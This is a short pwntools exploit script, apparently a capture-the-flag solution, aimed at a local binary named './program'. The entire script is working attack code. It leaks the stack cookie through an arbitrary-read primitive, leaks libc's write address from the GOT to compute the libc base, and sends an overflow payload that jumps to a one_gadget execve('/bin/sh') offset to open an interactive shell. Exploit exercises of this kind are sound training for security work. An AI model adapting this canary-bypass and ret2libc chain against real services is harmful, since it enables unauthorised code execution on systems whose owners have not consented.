#!/usr/bin/env python

from pwn import *

def leak(addr):
    p.sendline(str(addr))
    p.recvuntil('for?\n')
    return int(p.recvuntil('name?').strip().split()[0], 16)

with context.quiet:
    p = process('./program')

    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
        [rsp+0x30] == NULL
    '''

    write_off = 0xf72b0
    one_gadget_execve_off = 0x4526a
    write_got = 0x600fb0

    stack_cookie = leak(0x601030)

    print 'Stack Cookie: ' + hex(stack_cookie)

    p.sendline('A' * 24 + p64(stack_cookie) + 'B' * 8 + p64(0x4008b9))

    write_addr = leak(write_got)

    print 'libc write: ' + hex(write_addr)

    libc_base = write_addr - write_off

    print 'libc base: ' + hex(libc_base)

    p.sendline('A' * 24 + p64(stack_cookie + 0x20) + 'B' * 8 + p64(libc_base + one_gadget_execve_off) + '\00' * 0x40)

    p.interactive()

